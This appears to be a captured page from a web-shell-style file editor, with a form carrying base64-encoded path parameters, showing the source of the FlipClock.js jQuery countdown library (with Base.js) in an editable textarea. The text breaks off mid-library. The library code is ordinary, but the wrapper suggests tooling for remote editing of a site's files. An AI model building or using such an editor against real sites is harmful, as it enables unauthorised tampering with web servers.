<hr>flipclock.js<form method=post action="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=ZmxpcGNsb2NrLmpz"><input name="f" value="flipclock.js"><textarea name="t">/*
	Base.js, version 1.1a
	Copyright 2006-2010, Dean Edwards
	License: http://www.opensource.org/licenses/mit-license.php
*/

var Base = function() {
	// dummy
};

Base.extend = function(_instance, _static) { // subclass
	
	&quot;use strict&quot;;
	
	var extend = Base.prototype.extend;
	
	// build the prototype
	Base._prototyping = true;
	
	var proto = new this();
	
	extend.call(proto, _instance);
	
	proto.base = function() {
	// call this method from any other method to invoke that method&#039;s ancestor
	};

	delete Base._prototyping;
	
	// create the wrapper for the constructor function
	//var constructor = proto.constructor.valueOf(); //-dean
	var constructor = proto.constructor;
	var klass = proto.constructor = function() {
		if (!Base._prototyping) {
			if (this._constructing || this.constructor == klass) { // instantiation
				this._constructing = true;
				constructor.apply(this, arguments);
				delete this._constructing;
			} else if (arguments[0] !== null) { // casting
				return (arguments[0].extend || extend).call(arguments[0], proto);
			}
		}
	};
	
	// build the class interface
	klass.ancestor = this;
	klass.extend = this.extend;
	klass.forEach = this.forEach;
	klass.implement = this.implement;
	klass.prototype = proto;
	klass.toString = this.toString;
	klass.valueOf = function(type) {
		//return (type == &quot;object&quot;) ? klass : constructor; //-dean
		return (type == &quot;object&quot;) ? klass : constructor.valueOf();
	};
	extend.call(klass, _static);
	// class initialisation
	if (typeof klass.init == &quot;function&quot;) klass.init();
	return klass;
};

Base.prototype = {	
	extend: function(source, value) {
		if (arguments.length &gt; 1) { // extending with a name/value pair
			var ancestor = this[source];
			if (ancestor &amp;&amp; (typeof value == &quot;function&quot;) &amp;&amp; // overriding a method?
				// the valueOf() comparison is to avoid circular references
				(!ancestor.valueOf || ancestor.valueOf() != value.valueOf()) &amp;&amp;
				/\bbase\b/.test(value)) {
				// get the underlying method
				var method = value.valueOf();
				// override
				value = function() {
					var previous = this.base || Base.prototype.base;
					this.base = ancestor;
					var returnValue = method.apply(this, arguments);
					this.base = previous;
					return returnValue;
				};
				// point to the underlying method
				value.valueOf = function(type) {
					return (type == &quot;object&quot;) ? value : method;
				};
				value.toString = Base.toString;
			}
			this[source] = value;
		} else if (source) { // extending with an object literal
			var extend = Base.prototype.extend;
			// if this object has a customised extend method then use it
			if (!Base._prototyping &amp;&amp; typeof this != &quot;function&quot;) {
				extend = this.extend || extend;
			}
			var proto = {toSource: null};
			// do the &quot;toString&quot; and other methods manually
			var hidden = [&quot;constructor&quot;, &quot;toString&quot;, &quot;valueOf&quot;];
			// if we are prototyping then include the constructor
			var i = Base._prototyping ? 0 : 1;
			while (key = hidden[i++]) {
				if (source[key] != proto[key]) {
					extend.call(this, key, source[key]);

				}
			}
			// copy each of the source object&#039;s properties to this object
			for (var key in source) {
				if (!proto[key]) extend.call(this, key, source[key]);
			}
		}
		return this;
	}
};

// initialise
Base = Base.extend({
	constructor: function() {
		this.extend(arguments[0]);
	}
}, {
	ancestor: Object,
	version: &quot;1.1&quot;,
	
	forEach: function(object, block, context) {
		for (var key in object) {
			if (this.prototype[key] === undefined) {
				block.call(context, object[key], key, object);
			}
		}
	},
		
	implement: function() {
		for (var i = 0; i &lt; arguments.length; i++) {
			if (typeof arguments[i] == &quot;function&quot;) {
				// if it&#039;s a function, call it
				arguments[i](this.prototype);
			} else {
				// add the interface using the extend method
				this.prototype.extend(arguments[i]);
			}
		}
		return this;
	},
	
	toString: function() {
		return String(this.valueOf());
	}
});
/*jshint smarttabs:true */

var FlipClock;
	
/**
 * FlipClock.js
 *
 * @author     Justin Kimbrell
 * @copyright  2013 - Objective HTML, LLC
 * @licesnse   http://www.opensource.org/licenses/mit-license.php
 */
	
(function($) {
	
	&quot;use strict&quot;;
	
	/**
	 * FlipFlock Helper
	 *
	 * @param  object  A jQuery object or CSS select
	 * @param  int     An integer used to start the clock (no. seconds)
	 * @param  object  An object of properties to override the default	
	 */
	 
	FlipClock = function(obj, digit, options) {
		if(digit instanceof Object &amp;&amp; digit instanceof Date === false) {
			options = digit;
			digit = 0;
		}

		return new FlipClock.Factory(obj, digit, options);
	};

	/**
	 * The global FlipClock.Lang object
	 */

	FlipClock.Lang = {};
	
	/**
	 * The Base FlipClock class is used to extend all other FlipFlock
	 * classes. It handles the callbacks and the basic setters/getters
	 *	
	 * @param 	object  An object of the default properties
	 * @param 	object  An object of properties to override the default	
	 */

	FlipClock.Base = Base.extend({
		
		/**
		 * Build Date
		 */
		 
		buildDate: &#039;2014-12-12&#039;,
		
		/**
		 * Version
		 */
		 
		version: &#039;0.7.7&#039;,
		
		/**
		 * Sets the default options
		 *
		 * @param	object 	The default options
		 * @param	object 	The override options
		 */
		 
		constructor: function(_default, options) {
			if(typeof _default !== &quot;object&quot;) {
				_default = {};
			}
			if(typeof options !== &quot;object&quot;) {
				options = {};
			}
			this.setOptions($.extend(true, {}, _default, options));
		},
		
		/**
		 * Delegates the callback to the defined method
		 *
		 * @param	object 	The default options
		 * @param	object 	The override options
		 */
		 
		callback: function(method) {
		 	if(typeof method === &quot;function&quot;) {
				var args = [];
								
				for(var x = 1; x &lt;= arguments.length; x++) {
					if(arguments[x]) {
						args.push(arguments[x]);
					}
				}
				
				method.apply(this, args);
			}
		},
		 
		/**
		 * Log a string into the console if it exists
		 *
		 * @param 	string 	The name of the option
		 * @return	mixed
		 */		
		 
		log: function(str) {
			if(window.console &amp;&amp; console.log) {
				console.log(str);
			}
		},
		 
		/**
		 * Get an single option value. Returns false if option does not exist
		 *
		 * @param 	string 	The name of the option
		 * @return	mixed
		 */		
		 
		getOption: function(index) {
			if(this[index]) {
				return this[index];
			}
			return false;
		},
		
		/**
		 * Get all options
		 *
		 * @return	bool
		 */		
		 
		getOptions: function() {
			return this;
		},
		
		/**
		 * Set a single option value
		 *
		 * @param 	string 	The name of the option
		 * @param 	mixed 	The value of the option
		 */		
		 
		setOption: function(index, value) {
			this[index] = value;
		},
		
		/**
		 * Set a multiple options by passing a JSON object
		 *
		 * @param 	object 	The object with the options
		 * @param 	mixed 	The value of the option
		 */		
		
		setOptions: function(options) {
			for(var key in options) {
	  			if(typeof options[key] !== &quot;undefined&quot;) {
		  			this.setOption(key, options[key]);
		  		}
		  	}
		}
		
	});
	
}(jQuery));

/*jshint smarttabs:true */

/**
 * FlipClock.js
 *
 * @author     Justin Kimbrell
 * @copyright  2013 - Objective HTML, LLC
 * @licesnse   http://www.opensource.org/licenses/mit-license.php
 */
	
(function($) {
	
	&quot;use strict&quot;;
	
	/**
	 * The FlipClock Face class is the base class in which to extend
	 * all other FlockClock.Face classes.
	 *
	 * @param 	object  The parent FlipClock.Factory object
	 * @param 	object  An object of properties to override the default	
	 */
	 
	FlipClock.Face = FlipClock.Base.extend({
		
		/**
		 * Sets whether or not the clock should start upon instantiation
		 */
		 
		autoStart: true,

		/**
		 * An array of jQuery objects used for the dividers (the colons)
		 */
		 
		dividers: [],

		/**
		 * An array of FlipClock.List objects
		 */		
		 
		factory: false,
		
		/**
		 * An array of FlipClock.List objects
		 */		
		 
		lists: [],

		/**
		 * Constructor
		 *
		 * @param 	object  The parent FlipClock.Factory object
		 * @param 	object  An object of properties to override the default	
		 */
		 
		constructor: function(factory, options) {
			this.dividers = [];
			this.lists = [];
			this.base(options);
			this.factory = factory;
		},
		
		/**
		 * Build the clock face
		 */
		 
		build: function() {
			if(this.autoStart) {
				this.start();
			}
		},
		
		/**
		 * Creates a jQuery object used for the digit divider
		 *
		 * @param	mixed 	The divider label text
		 * @param	mixed	Set true to exclude the dots in the divider. 
		 *					If not set, is false.
		 */
		 
		createDivider: function(label, css, excludeDots) {
			if(typeof css == &quot;boolean&quot; || !css) {
				excludeDots = css;
				css = label;
			}

			var dots = [
				&#039;&lt;span class=&quot;&#039;+this.factory.classes.dot+&#039; top&quot;&gt;&lt;/span&gt;&#039;,
				&#039;&lt;span class=&quot;&#039;+this.factory.classes.dot+&#039; bottom&quot;&gt;&lt;/span&gt;&#039;
			].join(&#039;&#039;);

			if(excludeDots) {
				dots = &#039;&#039;;	
			}

			label = this.factory.localize(label);

			var html = [
				&#039;&lt;span class=&quot;&#039;+this.factory.classes.divider+&#039; &#039;+(css ? css : &#039;&#039;).toLowerCase()+&#039;&quot;&gt;&#039;,
					&#039;&lt;span class=&quot;&#039;+this.factory.classes.label+&#039;&quot;&gt;&#039;+(label ? label : &#039;&#039;)+&#039;&lt;/span&gt;&#039;,
					dots,
				&#039;&lt;/span&gt;&#039;
			];	
			
			var $html = $(html.join(&#039;&#039;));

			this.dividers.push($html);

			return $html;
		},
		
		/**
		 * Creates a FlipClock.List object and appends it to the DOM
		 *
		 * @param	mixed 	The digit to select in the list
		 * @param	object  An object to override the default properties
		 */
		 
		createList: function(digit, options) {
			if(typeof digit === &quot;object&quot;) {
				options = digit;
				digit = 0;
			}

			var obj = new FlipClock.List(this.factory, digit, options);
		
			this.lists.push(obj);

			return obj;
		},
		
		/**
		 * Triggers when the clock is reset
		 */

		reset: function() {
			this.factory.time = new FlipClock.Time(
				this.factory, 
				this.factory.original ? Math.round(this.factory.original) : 0,
				{
					minimumDigits: this.factory.minimumDigits
				}
			);

			this.flip(this.factory.original, false);
		},

		/**
		 * Append a newly created list to the clock
		 */

		appendDigitToClock: function(obj) {
			obj.$el.append(false);
		},

		/**
		 * Add a digit to the clock face
		 */
		 
		addDigit: function(digit) {
			var obj = this.createList(digit, {
				classes: {
					active: this.factory.classes.active,
					before: this.factory.classes.before,
					flip: this.factory.classes.flip
				}
			});

			this.appendDigitToClock(obj);
		},
		
		/**
		 * Triggers when the clock is started
		 */
		 
		start: function() {},
		
		/**
		 * Triggers when the time on the clock stops
		 */
		 
		stop: function() {},
		
		/**
		 * Auto increments/decrements the value of the clock face
		 */
		 
		autoIncrement: function() {
			if(!this.factory.countdown) {
				this.increment();
			}
			else {
				this.decrement();
			}
		},

		/**
		 * Increments the value of the clock face
		 */
		 
		increment: function() {
			this.factory.time.addSecond();
		},

		/**
		 * Decrements the value of the clock face
		 */

		decrement: function() {
			if(this.factory.time.getTimeSeconds() == 0) {
	        	this.factory.stop()
			}
			else {
				this.factory.time.subSecond();
			}
		},
			
		/**
		 * Triggers when the numbers on the clock flip
		 */
		 
		flip: function(time, doNotAddPlayClass) {
			var t = this;

			$.each(time, function(i, digit) {
				var list = t.lists[i];

				if(list) {
					if(!doNotAddPlayClass &amp;&amp; digit != list.digit) {
						list.play();	
					}

					list.select(digit);
				}	
				else {
					t.addDigit(digit);
				}
			});
		}
					
	});
	
}(jQuery));

/*jshint smarttabs:true */

/**
 * FlipClock.js
 *
 * @author     Justin Kimbrell
 * @copyright  2013 - Objective HTML, LLC
 * @licesnse   http://www.opensource.org/licenses/mit-license.php
 */
	
(function($) {
	
	&quot;use strict&quot;;
	
	/**
	 * The FlipClock Factory class is used to build the clock and manage
	 * all the public methods.
	 *
	 * @param 	object  A jQuery object or CSS selector used to fetch
	 				    the wrapping DOM nodes
	 * @param 	mixed   This is the digit used to set the clock. If an 
	 				    object is passed, 0 will be used.	
	 * @param 	object  An object of properties to override the default	
	 */
	 	
	FlipClock.Factory = FlipClock.Base.extend({
		
		/**
		 * The clock&#039;s animation rate.
		 * 
		 * Note, currently this property doesn&#039;t do anything.
		 * This property is here to be used in the future to
		 * programmaticaly set the clock&#039;s animation speed
		 */		

		animationRate: 1000,

		/**
		 * Auto start the clock on page load (True|False)
		 */	
		 
		autoStart: true,
		
		/**
		 * The callback methods
		 */		
		 
		callbacks: {
			destroy: false,
			create: false,
			init: false,
			interval: false,
			start: false,
			stop: false,
			reset: false
		},
		
		/**
		 * The CSS classes
		 */		
		 
		classes: {
			active: &#039;flip-clock-active&#039;,
			before: &#039;flip-clock-before&#039;,
			divider: &#039;flip-clock-divider&#039;,
			dot: &#039;flip-clock-dot&#039;,
			label: &#039;flip-clock-label&#039;,
			flip: &#039;flip&#039;,
			play: &#039;play&#039;,
			wrapper: &#039;flip-clock-wrapper&#039;
		},
		
		/**
		 * The name of the clock face class in use
		 */	
		 
		clockFace: &#039;HourlyCounter&#039;,
		 
		/**
		 * The name of the clock face class in use
		 */	
		 
		countdown: false,
		 
		/**
		 * The name of the default clock face class to use if the defined
		 * clockFace variable is not a valid FlipClock.Face object
		 */	
		 
		defaultClockFace: &#039;HourlyCounter&#039;,
		 
		/**
		 * The default language
		 */	
		 
		defaultLanguage: &#039;english&#039;,
		 
		/**
		 * The jQuery object
		 */		
		 
		$el: false,

		/**
		 * The FlipClock.Face object
		 */	
		 
		face: true,
		 
		/**
		 * The language object after it has been loaded
		 */	
		 
		lang: false,
		 
		/**
		 * The language being used to display labels (string)
		 */	
		 
		language: &#039;english&#039;,
		 
		/**
		 * The minimum digits the clock must have
		 */		

		minimumDigits: 0,

		/**
		 * The original starting value of the clock. Used for the reset method.
		 */		
		 
		original: false,
		
		/**
		 * Is the clock running? (True|False)
		 */		
		 
		running: false,
		
		/**
		 * The FlipClock.Time object
		 */		
		 
		time: false,
		
		/**
		 * The FlipClock.Timer object
		 */		
		 
		timer: false,
		
		/**
		 * The jQuery object (depcrecated)
		 */		
		 
		$wrapper: false,
		
		/**
		 * Constructor
		 *
		 * @param   object  The wrapping jQuery object
		 * @param	object  Number of seconds used to start the clock
		 * @param	object 	An object override options
		 */
		 
		constructor: function(obj, digit, options) {

			if(!options) {
				options = {};
			}

			this.lists = [];
			this.running = false;
			this.base(options);	

			this.$el = $(obj).addClass(this.classes.wrapper);

			// Depcrated support of the $wrapper property.
			this.$wrapper = this.$el;

			this.original = (digit instanceof Date) ? digit : (digit ? Math.round(digit) : 0);

			this.time = new FlipClock.Time(this, this.original, {
				minimumDigits: this.minimumDigits,
				animationRate: this.animationRate 
			});

			this.timer = new FlipClock.Timer(this, options);

			this.loadLanguage(this.language);
			
			this.loadClockFace(this.clockFace, options);

			if(this.autoStart) {
				this.start();
			}

		},
		
		/**
		 * Load the FlipClock.Face object
		 *
		 * @param	object  The name of the FlickClock.Face class
		 * @param	object 	An object override options
		 */
		 
		loadClockFace: function(name, options) {	
			var face, suffix = &#039;Face&#039;, hasStopped = false;
			
			name = name.ucfirst()+suffix;

			if(this.face.stop) {
				this.stop();
				hasStopped = true;
			}

			this.$el.html(&#039;&#039;);

			this.time.minimumDigits = this.minimumDigits;
			
			if(FlipClock[name]) {
				face = new FlipClock[name](this, options);
			}
			else {
				face = new FlipClock[this.defaultClockFace+suffix](this, options);
			}
			
			face.build();

			this.face = face

			if(hasStopped) {
				this.start();
			}
			
			return this.face;
		},
				
		/**
		 * Load the FlipClock.Lang object
		 *
		 * @param	object  The name of the language to load
		 */
		 
		loadLanguage: function(name) {	
			var lang;
			
			if(FlipClock.Lang[name.ucfirst()]) {
				lang = FlipClock.Lang[name.ucfirst()];
			}
			else if(FlipClock.Lang[name]) {
				lang = FlipClock.Lang[name];
			}
			else {
				lang = FlipClock.Lang[this.defaultLanguage];
			}
			
			return this.lang = lang;
		},
					
		/**
		 * Localize strings into various languages
		 *
		 * @param	string  The index of the localized string
		 * @param	object  Optionally pass a lang object
		 */

		localize: function(index, obj) {
			var lang = this.lang;

			if(!index) {
				return null;
			}

			var lindex = index.toLowerCase();

			if(typeof obj == &quot;object&quot;) {
				lang = obj;
			}

			if(lang &amp;&amp; lang[lindex]) {
				return lang[lindex];
			}

			return index;
		},
		 

		/**
		 * Starts the clock
		 */
		 
		start: function(callback) {
			var t = this;

			if(!t.running &amp;&amp; (!t.countdown || t.countdown &amp;&amp; t.time.time &gt; 0)) {
				t.face.start(t.time);
				t.timer.start(function() {
					t.flip();
					
					if(typeof callback === &quot;function&quot;) {
						callback();
					}	
				});
			}
			else {
				t.log(&#039;Trying to start timer when countdown already at 0&#039;);
			}
		},
		
		/**
		 * Stops the clock
		 */
		 
		stop: function(callback) {
			this.face.stop();
			this.timer.stop(callback);
			
			for(var x in this.lists) {
				if (this.lists.hasOwnProperty(x)) {
					this.lists[x].stop();
				}
			}	
		},
		
		/**
		 * Reset the clock
		 */
		 
		reset: function(callback) {
			this.timer.reset(callback);
			this.face.reset();
		},
		
		/**
		 * Sets the clock time
		 */
		 
		setTime: function(time) {
			this.time.time = time;
			this.flip(true);		
		},
		
		/**
		 * Get the clock time
		 *
		 * @return  object  Returns a FlipClock.Time object
		 */
		 
		getTime: function(time) {
			return this.time;		
		},
		
		/**
		 * Changes the increment of time to up or down (add/sub)
		 */
		 
		setCountdown: function(value) {
			var running = this.running;
			
			this.countdown = value ? true : false;
				
			if(running) {
				this.stop();
				this.start();
			}
		},
		
		/**
		 * Flip the digits on the clock
		 *
		 * @param  array  An array of digits	 
		 */
		flip: function(doNotAddPlayClass) {	
			this.face.flip(false, doNotAddPlayClass);
		}
		
	});
		
}(jQuery));

/*jshint smarttabs:true */

/**
 * FlipClock.js
 *
 * @author     Justin Kimbrell
 * @copyright  2013 - Objective HTML, LLC
 * @licesnse   http://www.opensource.org/licenses/mit-license.php
 */
	
(function($) {
	
	&quot;use strict&quot;;
	
	/**
	 * The FlipClock List class is used to build the list used to create 
	 * the card flip effect. This object fascilates selecting the correct
	 * node by passing a specific digit.
	 *
	 * @param 	object  A FlipClock.Factory object
	 * @param 	mixed   This is the digit used to set the clock. If an 
	 *				    object is passed, 0 will be used.	
	 * @param 	object  An object of properties to override the default	
	 */
	 	
	FlipClock.List = FlipClock.Base.extend({
		
		/**
		 * The digit (0-9)
		 */		
		 
		digit: 0,
		
		/**
		 * The CSS classes
		 */		
		 
		classes: {
			active: &#039;flip-clock-active&#039;,
			before: &#039;flip-clock-before&#039;,
			flip: &#039;flip&#039;	
		},
				
		/**
		 * The parent FlipClock.Factory object
		 */		
		 
		factory: false,
		
		/**
		 * The jQuery object
		 */		
		 
		$el: false,

		/**
		 * The jQuery object (deprecated)
		 */		
		 
		$obj: false,
		
		/**
		 * The items in the list
		 */		
		 
		items: [],
		
		/**
		 * The last digit
		 */		
		 
		lastDigit: 0,
			
		/**
		 * Constructor
		 *
		 * @param  object  A FlipClock.Factory object
		 * @param  int     An integer use to select the correct digit
		 * @param  object  An object to override the default properties	 
		 */
		 
		constructor: function(factory, digit, options) {
			this.factory = factory;
			this.digit = digit;
			this.lastDigit = digit;
			this.$el = this.createList();
			
			// Depcrated support of the $obj property.
			this.$obj = this.$el;

			if(digit &gt; 0) {
				this.select(digit);
			}

			this.factory.$el.append(this.$el);
		},
		
		/**
		 * Select the digit in the list
		 *
		 * @param  int  A digit 0-9	 
		 */
		 
		select: function(digit) {
			if(typeof digit === &quot;undefined&quot;) {
				digit = this.digit;
			}
			else {
				this.digit = digit;
			}

			if(this.digit != this.lastDigit) {
				var $delete = this.$el.find(&#039;.&#039;+this.classes.before).removeClass(this.classes.before);

				this.$el.find(&#039;.&#039;+this.classes.active).removeClass(this.classes.active)
													  .addClass(this.classes.before);

				this.appendListItem(this.classes.active, this.digit);

				$delete.remove();

				this.lastDigit = this.digit;
			}	
		},
		
		/**
		 * Adds the play class to the DOM object
		 */
		 		
		play: function() {
			this.$el.addClass(this.factory.classes.play);
		},
		
		/**
		 * Removes the play class to the DOM object 
		 */
		 
		stop: function() {
			var t = this;

			setTimeout(function() {
				t.$el.removeClass(t.factory.classes.play);
			}, this.factory.timer.interval);
		},
		
		/**
		 * Creates the list item HTML and returns as a string 
		 */
		 
		createListItem: function(css, value) {
			return [
				&#039;&lt;li class=&quot;&#039;+(css ? css : &#039;&#039;)+&#039;&quot;&gt;&#039;,
					&#039;&lt;a href=&quot;#&quot;&gt;&#039;,
						&#039;&lt;div class=&quot;up&quot;&gt;&#039;,
							&#039;&lt;div class=&quot;shadow&quot;&gt;&lt;/div&gt;&#039;,
							&#039;&lt;div class=&quot;inn&quot;&gt;&#039;+(value ? value : &#039;&#039;)+&#039;&lt;/div&gt;&#039;,
						&#039;&lt;/div&gt;&#039;,
						&#039;&lt;div class=&quot;down&quot;&gt;&#039;,
							&#039;&lt;div class=&quot;shadow&quot;&gt;&lt;/div&gt;&#039;,
							&#039;&lt;div class=&quot;inn&quot;&gt;&#039;+(value ? value : &#039;&#039;)+&#039;&lt;/div&gt;&#039;,
						&#039;&lt;/div&gt;&#039;,
					&#039;&lt;/a&gt;&#039;,
				&#039;&lt;/li&gt;&#039;
			].join(&#039;&#039;);
		},

		/**
		 * Append the list item to the parent DOM node 
		 */

		appendListItem: function(css, value) {
			var html = this.createListItem(css, value);

			this.$el.append(html);
		},

		/**
		 * Create the list of digits and appends it to the DOM object 
		 */
		 
		createList: function() {

			var lastDigit = this.getPrevDigit() ? this.getPrevDigit() : this.digit;

			var html = $([
				&#039;&lt;ul class=&quot;&#039;+this.classes.flip+&#039; &#039;+(this.factory.running ? this.factory.classes.play : &#039;&#039;)+&#039;&quot;&gt;&#039;,
					this.createListItem(this.classes.before, lastDigit),
					this.createListItem(this.classes.active, this.digit),
				&#039;&lt;/ul&gt;&#039;
			].join(&#039;&#039;));
					
			return html;
		},

		getNextDigit: function() {
			return this.digit == 9 ? 0 : this.digit + 1;
		},

		getPrevDigit: function() {
			return this.digit == 0 ? 9 : this.digit - 1;
		}

	});
	
	
}(jQuery));

/*jshint smarttabs:true */

/**
 * FlipClock.js
 *
 * @author     Justin Kimbrell
 * @copyright  2013 - Objective HTML, LLC
 * @licesnse   http://www.opensource.org/licenses/mit-license.php
 */
	
(function($) {
	
	&quot;use strict&quot;;
	
	/**
	 * Capitalize the first letter in a string
	 *
	 * @return string
	 */
	 
	String.prototype.ucfirst = function() {
		return this.substr(0, 1).toUpperCase() + this.substr(1);
	};
	
	/**
	 * jQuery helper method
	 *
	 * @param  int     An integer used to start the clock (no. seconds)
	 * @param  object  An object of properties to override the default	
	 */
	 
	$.fn.FlipClock = function(digit, options) {	
		return new FlipClock($(this), digit, options);
	};
	
	/**
	 * jQuery helper method
	 *
	 * @param  int     An integer used to start the clock (no. seconds)
	 * @param  object  An object of properties to override the default	
	 */
	 
	$.fn.flipClock = function(digit, options) {
		return $.fn.FlipClock(digit, options);
	};
	
}(jQuery));

/*jshint smarttabs:true */

/**
 * FlipClock.js
 *
 * @author     Justin Kimbrell
 * @copyright  2013 - Objective HTML, LLC
 * @licesnse   http://www.opensource.org/licenses/mit-license.php
 */
	
(function($) {
	
	&quot;use strict&quot;;
			
	/**
	 * The FlipClock Time class is used to manage all the time 
	 * calculations.
	 *
	 * @param 	object  A FlipClock.Factory object
	 * @param 	mixed   This is the digit used to set the clock. If an 
	 *				    object is passed, 0 will be used.	
	 * @param 	object  An object of properties to override the default	
	 */
	 	
	FlipClock.Time = FlipClock.Base.extend({
		
		/**
		 * The time (in seconds) or a date object
		 */		
		 
		time: 0,
		
		/**
		 * The parent FlipClock.Factory object
		 */		
		 
		factory: false,
		
		/**
		 * The minimum number of digits the clock face must have
		 */		
		 
		minimumDigits: 0,

		/**
		 * Constructor
		 *
		 * @param  object  A FlipClock.Factory object
		 * @param  int     An integer use to select the correct digit
		 * @param  object  An object to override the default properties	 
		 */
		 
		constructor: function(factory, time, options) {
			if(typeof options != &quot;object&quot;) {
				options = {};
			}

			if(!options.minimumDigits) {
				options.minimumDigits = factory.minimumDigits;
			}

			this.base(options);
			this.factory = factory;

			if(time) {
				this.time = time;
			}
		},

		/**
		 * Convert a string or integer to an array of digits
		 *
		 * @param   mixed  String or Integer of digits	 
		 * @return  array  An array of digits 
		 */
		 
		convertDigitsToArray: function(str) {
			var data = [];
			
			str = str.toString();
			
			for(var x = 0;x &lt; str.length; x++) {
				if(str[x].match(/^\d*$/g)) {
					data.push(str[x]);	
				}
			}
			
			return data;
		},
		
		/**
		 * Get a specific digit from the time integer
		 *
		 * @param   int    The specific digit to select from the time	 
		 * @return  mixed  Returns FALSE if no digit is found, otherwise
		 *				   the method returns the defined digit	 
		 */
		 
		digit: function(i) {
			var timeStr = this.toString();
			var length  = timeStr.length;
			
			if(timeStr[length - i])	 {
				return timeStr[length - i];
			}
			
			return false;
		},

		/**
		 * Formats any array of digits into a valid array of digits
		 *
		 * @param   mixed  An array of digits	 
		 * @return  array  An array of digits 
		 */
		 
		digitize: function(obj) {
			var data = [];

			$.each(obj, function(i, value) {
				value = value.toString();
				
				if(value.length == 1) {
					value = &#039;0&#039;+value;
				}
				
				for(var x = 0; x &lt; value.length; x++) {
					data.push(value.charAt(x));
				}				
			});

			if(data.length &gt; this.minimumDigits) {
				this.minimumDigits = data.length;
			}
			
			if(this.minimumDigits &gt; data.length) {
				for(var x = data.length; x &lt; this.minimumDigits; x++) {
					data.unshift(&#039;0&#039;);
				}
			}

			return data;
		},
		
		/**
		 * Gets a new Date object for the current time
		 *
		 * @return  array  Returns a Date object
		 */

		getDateObject: function() {
			if(this.time instanceof Date) {
				return this.time;
			}

			return new Date((new Date()).getTime() + this.getTimeSeconds() * 1000);
		},
		
		/**
		 * Gets a digitized daily counter
		 *
		 * @return  object  Returns a digitized object
		 */

		getDayCounter: function(includeSeconds) {
			var digits = [
				this.getDays(),
				this.getHours(true),
				this.getMinutes(true)
			];

			if(includeSeconds) {
				digits.push(this.getSeconds(true));
			}

			return this.digitize(digits);
		},

		/**
		 * Gets number of days
		 *
		 * @param   bool  Should perform a modulus? If not sent, then no.
		 * @return  int   Retuns a floored integer
		 */
		 
		getDays: function(mod) {
			var days = this.getTimeSeconds() / 60 / 60 / 24;
			
			if(mod) {
				days = days % 7;
			}
			
			return Math.floor(days);
		},
		
		/**
		 * Gets an hourly breakdown
		 *
		 * @return  object  Returns a digitized object
		 */
		 
		getHourCounter: function() {
			var obj = this.digitize([
				this.getHours(),
				this.getMinutes(true),
				this.getSeconds(true)
			]);
			
			return obj;
		},
		
		/**
		 * Gets an hourly breakdown
		 *
		 * @return  object  Returns a digitized object
		 */
		 
		getHourly: function() {
			return this.getHourCounter();
		},
		
		/**
		 * Gets number of hours
		 *
		 * @param   bool  Should perform a modulus? If not sent, then no.
		 * @return  int   Retuns a floored integer
		 */
		 
		getHours: function(mod) {
			var hours = this.getTimeSeconds() / 60 / 60;
			
			if(mod) {
				hours = hours % 24;	
			}
			
			return Math.floor(hours);
		},
		
		/**
		 * Gets the twenty-four hour time
		 *
		 * @return  object  returns a digitized object
		 */
		 
		getMilitaryTime: function(date, showSeconds) {
			if(typeof showSeconds === &quot;undefined&quot;) {
				showSeconds = true;
			}

			if(!date) {
				date = this.getDateObject();
			}

			var data  = [
				date.getHours(),
				date.getMinutes()			
			];

			if(showSeconds === true) {
				data.push(date.getSeconds());
			}

			return this.digitize(data);
		},
				
		/**
		 * Gets number of minutes
		 *
		 * @param   bool  Should perform a modulus? If not sent, then no.
		 * @return  int   Retuns a floored integer
		 */
		 
		getMinutes: function(mod) {
			var minutes = this.getTimeSeconds() / 60;
			
			if(mod) {
				minutes = minutes % 60;
			}
			
			return Math.floor(minutes);
		},
		
		/**
		 * Gets a minute breakdown
		 */
		 
		getMinuteCounter: function() {
			var obj = this.digitize([
				this.getMinutes(),
				this.getSeconds(true)
			]);

			return obj;
		},
		
		/**
		 * Gets time count in seconds regardless of if targetting date or not.
		 *
		 * @return  int   Returns a floored integer
		 */
		 
		getTimeSeconds: function(date) {
			if(!date) {
				date = new Date();
			}

			if (this.time instanceof Date) {
				if (this.factory.countdown) {
					return Math.max(this.time.getTime()/1000 - date.getTime()/1000,0);
				} else {
					return date.getTime()/1000 - this.time.getTime()/1000 ;
				}
			} else {
				return this.time;
			}
		},
		
		/**
		 * Gets the current twelve hour time
		 *
		 * @return  object  Returns a digitized object
		 */
		 
		getTime: function(date, showSeconds) {
			if(typeof showSeconds === &quot;undefined&quot;) {
				showSeconds = true;
			}

			if(!date) {
				date = this.getDateObject();
			}

			console.log(date);

			
			var hours = date.getHours();
			var merid = hours &gt; 12 ? &#039;PM&#039; : &#039;AM&#039;;
			var data   = [
				hours &gt; 12 ? hours - 12 : (hours === 0 ? 12 : hours),
				date.getMinutes()			
			];

			if(showSeconds === true) {
				data.push(date.getSeconds());
			}

			return this.digitize(data);
		},
		
		/**
		 * Gets number of seconds
		 *
		 * @param   bool  Should perform a modulus? If not sent, then no.
		 * @return  int   Retuns a ceiled integer
		 */
		 
		getSeconds: function(mod) {
			var seconds = this.getTimeSeconds();
			
			if(mod) {
				if(seconds == 60) {
					seconds = 0;
				}
				else {
					seconds = seconds % 60;
				}
			}
			
			return Math.ceil(seconds);
		},

		/**
		 * Gets number of weeks
		 *
		 * @param   bool  Should perform a modulus? If not sent, then no.
		 * @return  int   Retuns a floored integer
		 */
		 
		getWeeks: function(mod) {
			var weeks = this.getTimeSeconds() / 60 / 60 / 24 / 7;
			
			if(mod) {
				weeks = weeks % 52;
			}
			
			return Math.floor(weeks);
		},
		
		/**
		 * Removes a specific number of leading zeros from the array.
		 * This method prevents you from removing too many digits, even
		 * if you try.
		 *
		 * @param   int    Total number of digits to remove 
		 * @return  array  An array of digits 
		 */
		 
		removeLeadingZeros: function(totalDigits, digits) {
			var total    = 0;
			var newArray = [];
			
			$.each(digits, function(i, digit) {
				if(i &lt; totalDigits) {
					total += parseInt(digits[i], 10);
				}
				else {
					newArray.push(digits[i]);
				}
			});
			
			if(total === 0) {
				return newArray;
			}
			
			return digits;
		},

		/**
		 * Adds X second to the current time
		 */

		addSeconds: function(x) {
			if(this.time instanceof Date) {
				this.time.setSeconds(this.time.getSeconds() + x);
			}
			else {
				this.time += x;
			}
		},

		/**
		 * Adds 1 second to the current time
		 */

		addSecond: function() {
			this.addSeconds(1);
		},

		/**
		 * Substracts X seconds from the current time
		 */

		subSeconds: function(x) {
			if(this.time instanceof Date) {
				this.time.setSeconds(this.time.getSeconds() - x);
			}
			else {
				this.time -= x;
			}
		},

		/**
		 * Substracts 1 second from the current time
		 */

